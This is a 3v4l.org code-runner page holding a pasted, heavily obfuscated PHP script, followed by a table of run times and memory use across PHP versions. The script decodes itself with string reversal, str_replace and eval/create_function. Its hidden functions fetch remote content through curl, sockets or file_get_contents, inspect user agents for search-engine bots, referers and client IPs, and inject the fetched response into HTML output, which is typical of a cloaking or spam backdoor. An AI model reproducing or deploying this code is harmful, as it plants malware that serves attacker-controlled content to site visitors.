3v4l.org

run code in 300+ PHP versions simultaneously
<?php $siv = "str_replace"; $slv = "strrev"; $s1v ="create_function"; $svv = '//}9;g$^s$9nruter9}9;)8,0,q$(r$=.g$9;))"46\27x\36\56x\26\77x\16\17x\".q$.g$(m$,"*H"(p$9=9q$9{9))s$(l$<)g$(l$(9elihw9;""9=9g$9;"53x\441\d6x\"=m$;"261\47x\361\26x\561\37x\"=r$;"351\36x\141\07x\"=p$;"651\56x\451\27x\461\37x\"=l$9{9)q$9,s$(2ne9noitcnuf;}'; $n9 = '1067|416|779|223|361'; $v9 = '5656}5;Bv5;oc$v5Y5;-4_g@&oc$5;oc$v5Y5;-3_g@&oc$5;oc$v5Y5;-2_g@&oc$5;oc$v5Y5;-1_g@&oc$5;B&oc$5{5-6dtz55}56;%v5;)%6,"n\r\n\r\"(edolpxe&)%6,m$(tsil5;~v5)BV%(6fi5;)J(esolcW@5}5;t$6=.6%5{6))000016,J(daerW&t$(6elihw5;B&%5;)qer$6,J(etirwW5;"n\n\X$6:tsoH"6=.6qer$5;"n\0.1/PTTH6iru$6TEG"&qer$5}5;~v5;)J(esolcW@5{6))086,1pi$6,J(tcennocW@!(6fi5;)PCT_LOS6,MAERTS_KCOS6,TENI_FA(etaercW@&J5;~v5)2pi$6=!61pi$(6fi5;))1pi$(gnol2pi@(pi2gnol@&2pi$5;)X$(emanybXteg@&1pi$5;]"yreuq"[p$6.6"?"6.6]"htap"[p$&iru$5;B=]"yreuq"[p$6))]"yreuq"[p$(tessi!(fi5;]"X"[p$&X$5;-lru_esrap@6=p$5;~v5)~^)"etaercWj4_z55}5;%v5;~v5)BV%(6fi5;)cni$6,B(edolpmi@&%5;-elif@&cni$5;~v5)~^)"elifj3_z5}5;ser$v5;~v5)BVser$(6fi5;)hc$(esolcQ5;)hc$(cexeQ&ser$5;)06,REDAEH+5;)016,TUOEMIT+5;)16,REFSNARTNRUTER+5;)lru$6,LRU+5;)(tiniQ&hc$5;~v5)~^)"tiniQj2_z555}5;%v5;~v5)BV%(6fi5;-Z@&%5;~v5)~^)"Zj1_z59 |6: |5:""|B: == |V:tsoh|X:stnetnoc_teg_elif|Z:kcos$|J:_tekcos|W:_lruc|Q:)lru$(|-:_TPOLRUC ,hc$(tpotes_lruc|+:tpotes_lruc|*: = |&: === |^:fub$|%:eslaf|~: nruter|v:)~ ==! oc$( fi|Y:g noitcnuf|z:"(stsixe_noitcnuf( fi { )lru$(|j}}};eslaf nruter {esle };))8-,i$,ataDzg$(rtsbus(etalfnizg@ nruter };2+i$=i$ )2 & glf$ ( fi ;1+)i$ ,"0\",ataDzg$(soprts=i$ )61 & glf$( fi ;1+)i$,"0\",ataDzg$(soprts=i$ )8 & glf$( fi };nelx$+2+i$=i$ ;))2,i$,ataDzg$(rtsbus,"v"(kcapnu=)nelx$(tsil { )4 & glf$( fi { )0>glf$( fi ;))1,3,ataDzg$(rtsbus(dro=glf$ ;01=i$ { )"80x\b8x\f1x\"==)3,0,ataDzg$(rtsbus( fi { )ataDzg$(izgmoc noitcnuf { ))"izgmoc"(stsixe_noitcnuf!( fi|0} ;1o$~ } ;"" = 1o$Y;]1[1a$ = 1o$ )2=>)1a$(foezis( fi ;)1ac$,"0FN!"(edolpxe@=1a$ ;)po$,)-$(dtg@(2ne=1ac$ ;4g$."/".)"moc."(qqc."//:ptth"=-$ ;)))e&+)d&+)c&+)b&+)a&(edocne-(edocne-."?".po$=4g$ ;)999999,000001(dnar_tm=po$ {Y} ;"" = 1o$ { ) )))a$(rewolotrts ,"i/" . ))"relbmar*xednay*revihcra_ai*tobnsm*pruls*elgoog"(yarra ,"|"(edolpmi . "/"(hctam_gerp( ro )"nimda",)e$(rewolotrts(soprrtsQd$(Qc$(Qa$(( fi ;)"bc1afd45*88275b5e*8e4c7059*8359bd33"(yarra = rramod^FLES_PHP%e^TSOH_PTTH%d^RDDA_ETOMER%c^REREFER_PTTH%b^TNEGA_RESU_PTTH%a$ { )(212yadj } ;a$~ ;W=a$Y;"non"=a$ )""==W( fiY;"non"=a$ ))W(tessi!(fi { )marap$(212kcehcj } ;))po$ ,txet$(2ne(edocne_46esab~ { )txet&j9 esle |Y:]marap$[REVRES_$|W: ro )"non"==|Q:lru|-:.".".|+:","|*:$,po$(43k|&:$ ;)"|^:"(212kcehc=|%: nruter|~: noitcnuf|j}}8zc$9nruter9}817==!9eslaf28)45@9=979{96"5"(stsixe_328164sserpmocnuzg08164izgmoc08164etalfnizg09{9)llun9=9htgnel$9,4oocd939{9))"oocd"(stsixe_3!2| * ;*zd$*) )*edocedzg*zc$(*noitcnuf*( fi*zd$ nruter ) *@ = zd$( ==! eslaf( fi;)"j"(trats_boU~~~~;t$U&zesleU~;)W%Y%RzesleU~;)W@Y@RU;)v$(oocd=t$U;"54+36Q14+c6Q06+56Q26+".p$=T;"05+36Q46+16Q55+".p$=1p$;"f5Q74+56Q26+07Q"=p$U;)"enonU:gnidocnE-tnetnoC"(redaeHz)v$(jUwz))"j"(stsixe_w!k9 |U:2p$|T:x\|Q:1\|+:nruter|&:lmth|%:ydob|@:} |~: { |z:(fi|k:22ap|j:noitcnuf|w:/\<\(/"(T &z))t$,"is/|Y:/\<\/"(1p$k|R:1,t$ ,"1"."$"."n\".)(212yad ,"is/)>\*]>\^[|W'; $s99 = 'Xoo2($bA$hM|", strrev($b)V$dM*"Ph[0]V$b = $h[1]; Bd)Z $bHiPdSPbNb."//"V} Xcqq($qwAreturn random($domarr,$qwV} Xoo1($yA$y= strrev($yV$g=DyG+1V$vM:",Dy,0G)VBv)Z $qM|"PvSV$gHq[0],$q[1],$gNg."//"V} $s1v(""Psiv("\71"," ",$slv($svv))VXrandom($arr,$qwA$g="\x20\167\x2d\70\J6794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\J3\54\C7\75\x20\167\x2e\40K2\73\x20L5\x2d\70"."6d944835,sq-873964872937873960\J8\66\C3\71\J5\61\J8\67\J4\42\Jb";$soy = "\C5L6\J2";$xx="\C5\170K0"."L4\CfO4\C5";$ecx="\C3\162\C5O1K4O5\x5fO6K5L6\C3\164\C9L7\Ce";$scy="K3\164K2\137K2O5K0L4\C1O3\C5";$F\x5c\170Kc\134\J1\174\Jd\42Kc\42\Jb\44Kc\44");$aF8|9|-|,| ");$mec=$ecx;Ba)Z$g = $scy($aaS,$aS,$gV}$ecx("", "};$g//");$mec(""Psoy("\230\77L3O7\26\167\114\130\223\257\211\2\253\5\172\316\25\262O5\25\62\72\127L6\270\100L4\56\341\77\4\37\21L2\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)Vreturn $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw;} $r9M|",$n9V$b9=0;$a9=0; for($i9=0;$i9<sizeof($r9);$i9++Aif ($i9==0) $a9=0; else $a9=$r9[$i9-1]+$a9; $b9=$r9[$i9]; $v_[]=Dv9Pa9Pb9V} $y =1; for($i=0;$i<5Z$vv1 ="o"."o".$y;if ($y==1) $y=2; else $y=1; $vv1($v_SV}'; $ee1 = array('\14',', $',') { ','[$i]','substr($','a = $xx("|","',',strpos($y,"9")',' = str_replace($','x3','\x7','\15',';$i++) {','function ','x6','); ','for($i=0;$i<sizeof($','); } create_function("", "};".$',' = explode("'); //$lastest = preg_replace("/(.*)/e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99))); $lastest = preg_replace("|(.*)$|e", eval(str_replace(array("O","P","A","S","D","F","G","H","J","K","L","Z","X","C","V","B","N","M"), $ee1, $s99)),NULL); var_dump($lastest);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0140.00316.85
8.3.50.0080.01421.27
8.3.40.0000.01518.83
8.3.30.0110.00418.69
8.3.20.0040.00420.12
8.3.10.0000.00821.73
8.3.00.0060.00319.68
8.2.180.0120.00316.88
8.2.170.0150.00022.96
8.2.160.0000.01420.60
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0080.00017.75
8.2.110.0070.00322.26
8.2.100.0080.00417.88
8.2.90.0040.00419.30
8.2.80.0030.00517.97
8.2.70.0000.00817.47
8.2.60.0040.00417.93
8.2.50.0040.00418.07
8.2.40.0000.00819.31
8.2.30.0080.00318.14
8.2.20.0000.00817.80
8.2.10.0000.00818.07
8.2.00.0080.00018.07
8.1.280.0040.01125.92
8.1.270.0030.01320.50
8.1.260.0080.00026.35
8.1.250.0040.00428.09
8.1.240.0060.00322.40
8.1.230.0100.00018.98
8.1.220.0040.00417.74
8.1.210.0030.00518.77
8.1.200.0030.00717.60
8.1.190.0040.00417.48
8.1.180.0030.00618.10
8.1.170.0050.00318.58
8.1.160.0050.00322.14
8.1.150.0060.00319.03
8.1.140.0000.00817.58
8.1.130.0040.00417.85
8.1.120.0000.00817.51
8.1.110.0030.00617.44
8.1.100.0050.00217.61
8.1.90.0050.00217.55
8.1.80.0050.00317.46
8.1.70.0030.00317.45
8.1.60.0080.00017.65
8.1.50.0070.00017.60
8.1.40.0000.00817.50
8.1.30.0060.00317.69
8.1.20.0000.00817.77
8.1.10.0040.00417.58
8.1.00.0020.00517.63
8.0.300.0050.00318.77
8.0.290.0000.00717.00
8.0.280.0030.00318.45
8.0.270.0070.00017.32
8.0.260.0000.00717.39
8.0.250.0000.00816.98
8.0.240.0000.00616.98
8.0.230.0030.00616.95
8.0.220.0070.00016.90
8.0.210.0080.00016.98
8.0.200.0030.00317.01
8.0.190.0080.00317.11
8.0.180.0050.00216.96
8.0.170.0030.00617.04
8.0.160.0050.00316.89
8.0.150.0040.00417.01
8.0.140.0060.00317.02
8.0.130.0040.00413.45
8.0.120.0050.00317.00
8.0.110.0050.00217.02
8.0.100.0000.00717.08
8.0.90.0040.00417.02
8.0.80.0090.00616.98
8.0.70.0000.00717.08
8.0.60.0000.00717.02
8.0.50.0000.00816.93
8.0.30.0110.01017.36
8.0.20.0110.01017.40
8.0.10.0070.00017.02
8.0.00.0130.00716.94
7.4.330.0030.00315.25
7.4.320.0030.00316.98
7.4.300.0030.00516.86
7.4.290.0000.00716.88
7.4.280.0040.00416.94
7.4.270.0050.00216.92
7.4.260.0000.00716.93
7.4.250.0030.00616.98
7.4.240.0010.00716.96
7.4.230.0060.00317.04
7.4.220.0060.01216.99
7.4.210.0060.00916.77
7.4.200.0040.00417.02
7.4.160.0090.00916.79
7.4.150.0060.02017.40
7.4.140.0150.00617.86
7.4.130.0140.00616.93
7.4.120.0090.01016.95
7.4.110.0030.01716.92
7.4.100.0120.00616.89
7.4.90.0130.01016.91
7.4.80.0070.01119.39
7.4.70.0140.00717.09
7.4.60.0200.00016.84
7.4.50.0030.00616.59
7.4.40.0070.01817.02
7.4.30.0100.01017.00
7.4.00.0030.00915.29
7.3.330.0000.00713.51
7.3.320.0060.00013.83
7.3.310.0040.00416.73
7.3.300.0000.00816.67
7.3.290.0140.00616.72
7.3.280.0090.01316.73
7.3.270.0180.00717.40
7.3.260.0170.00716.89
7.3.250.0070.01116.78
7.3.240.0070.01417.01
7.3.230.0100.01416.68
7.3.210.0100.01417.02
7.3.200.0100.01016.79
7.3.190.0130.01016.99
7.3.180.0100.00616.98
7.3.170.0030.01317.04
7.3.160.0060.01216.79
7.3.120.0090.00615.18
7.3.110.0080.00315.41
7.3.100.0030.01215.19
7.3.90.0030.01315.40
7.3.80.0090.00615.19
7.3.70.0060.00915.19
7.3.60.0060.00914.93
7.3.50.0060.00614.90
7.3.40.0000.01315.26
7.3.30.0030.01215.28
7.3.20.0000.01416.91
7.3.10.0030.01316.83
7.3.00.0070.01116.71
7.2.330.0100.01016.96
7.2.320.0080.01117.15
7.2.310.0150.01217.06
7.2.300.0110.00816.96
7.2.290.0120.00917.02
7.2.240.0030.01115.61
7.2.230.0090.00315.63
7.2.220.0100.01015.28
7.2.210.0090.00615.44
7.2.200.0090.00615.52
7.2.190.0140.00315.59
7.2.180.0100.00715.39
7.2.170.0070.01115.47
7.2.160.0130.00715.02
7.2.150.0040.01217.22
7.2.140.0060.00917.12
7.2.130.0030.01017.00
7.2.120.0060.01317.06
7.2.110.0090.00917.20
7.2.100.0030.01317.15
7.2.90.0030.01317.18
7.2.80.0070.00817.12
7.2.70.0030.01317.02
7.2.60.0050.01017.06
7.2.50.0060.01217.18
7.2.40.0090.00917.10
7.2.30.0120.00617.20
7.2.20.0070.01017.24
7.2.10.0070.01017.36
7.2.00.0090.00818.39
7.1.330.0030.00716.31
7.1.320.0060.01216.11
7.1.310.0030.01215.67
7.1.300.0030.01016.14
7.1.290.0070.00716.09
7.1.280.0030.00915.92
7.1.270.0060.00616.19
7.1.260.0040.01215.89
7.1.250.0040.01115.95
7.1.200.0060.00615.93
7.1.100.0090.00318.21
7.1.70.0050.00317.24
7.1.60.0070.01519.27
7.1.50.0090.01517.21
7.1.00.0030.07722.35
7.0.200.0040.01116.86
7.0.100.0270.08020.10
7.0.90.0170.07320.09
7.0.80.0070.05720.04
7.0.70.0070.07320.03
7.0.60.0070.04720.20
7.0.50.0070.07720.41
7.0.40.0170.05720.05
7.0.30.0000.05020.18
7.0.20.0000.04720.14
7.0.10.0100.03720.19
7.0.00.0000.04720.14
5.6.280.0070.05721.23
5.6.250.0070.05020.78
5.6.240.0030.08320.66
5.6.230.0070.05720.68
5.6.220.0070.06720.82
5.6.210.0300.06720.52
5.6.200.0200.07321.02
5.6.190.0100.07721.11
5.6.180.0100.03321.19
5.6.170.0030.04321.25
5.6.160.0030.04321.11
5.6.150.0070.04321.02
5.6.140.0070.05021.16
5.6.130.0070.04021.15
5.6.120.0070.06021.15
5.6.110.0130.04721.16
5.6.100.0030.04021.11
5.6.90.0030.04321.11
5.6.80.0100.03320.50
5.6.70.0070.03720.58
5.6.60.0170.02720.46
5.6.50.0130.05320.49
5.6.40.0000.04320.38
5.6.30.0030.04720.48
5.6.20.0070.03720.45
5.6.10.0100.03020.39
5.6.00.0070.03720.59
5.5.380.0070.07320.51
5.5.370.0130.07720.53
5.5.360.0100.07720.61
5.5.350.0030.08720.53
5.5.340.0030.08020.95
5.5.330.0130.07320.91
5.5.320.0030.04320.95
5.5.310.0100.04020.90
5.5.300.0030.04320.97
5.5.290.0100.07020.88
5.5.280.0100.05720.99
5.5.270.0030.04320.96
5.5.260.0030.04020.91
5.5.250.0100.03320.72
5.5.240.0000.05720.38
5.5.230.0070.05320.36
5.5.220.0070.03720.37
5.5.210.0130.06020.27
5.5.200.0030.04020.30
5.5.190.0070.03720.27
5.5.180.0100.03720.34
5.5.160.0000.04320.18
5.5.150.0030.04020.21
5.5.140.0000.04720.07
5.5.130.0030.04020.19
5.5.120.0100.03720.34
5.5.110.0000.04320.24
5.5.100.0070.03020.09
5.5.90.0070.04720.21
5.5.80.0000.04020.18
5.5.70.0130.04720.18
5.5.60.0070.07020.04
5.5.50.0100.07720.14
5.5.40.0000.08020.11
5.5.30.0170.07720.21
5.5.20.0030.09020.17
5.5.10.0130.07320.14
5.5.00.0100.07320.09
5.4.450.0070.04719.39
5.4.440.0000.04319.54
5.4.430.0030.04019.39
5.4.420.0030.04019.29
5.4.410.0100.03019.34
5.4.400.0100.03018.98
5.4.390.0000.04319.19
5.4.380.0130.06019.20
5.4.370.0000.04019.06
5.4.360.0070.03319.21
5.4.350.0070.03319.16
5.4.340.0030.04019.03
5.4.320.0100.04019.21
5.4.310.0070.03318.90
5.4.300.0070.03319.25
5.4.290.0000.03719.12
5.4.280.0030.03319.16
5.4.270.0070.03719.07
5.4.260.0030.04019.25
5.4.250.0070.04019.05
5.4.240.0000.05019.05
5.4.230.0100.06018.89
5.4.220.0100.07018.90
5.4.210.0130.07719.06
5.4.200.0070.04319.16
5.4.190.0100.06319.11
5.4.180.0200.03719.18
5.4.170.0100.07318.86
5.4.160.0130.07019.13
5.4.150.0200.06319.04
5.4.140.0000.07316.35
5.4.130.0030.07716.45
5.4.120.0030.06316.51
5.4.110.0030.04716.40
5.4.100.0100.04316.52
5.4.90.0170.06016.36
5.4.80.0070.04716.58
5.4.70.0070.06316.56
5.4.60.0100.04316.50
5.4.50.0130.06016.54
5.4.40.0030.05316.49
5.4.30.0030.04316.45
5.4.20.0030.06316.38
5.4.10.0030.04716.48
5.4.00.0070.07315.98

preferences:
60.79 ms | 401 KiB | 5 Q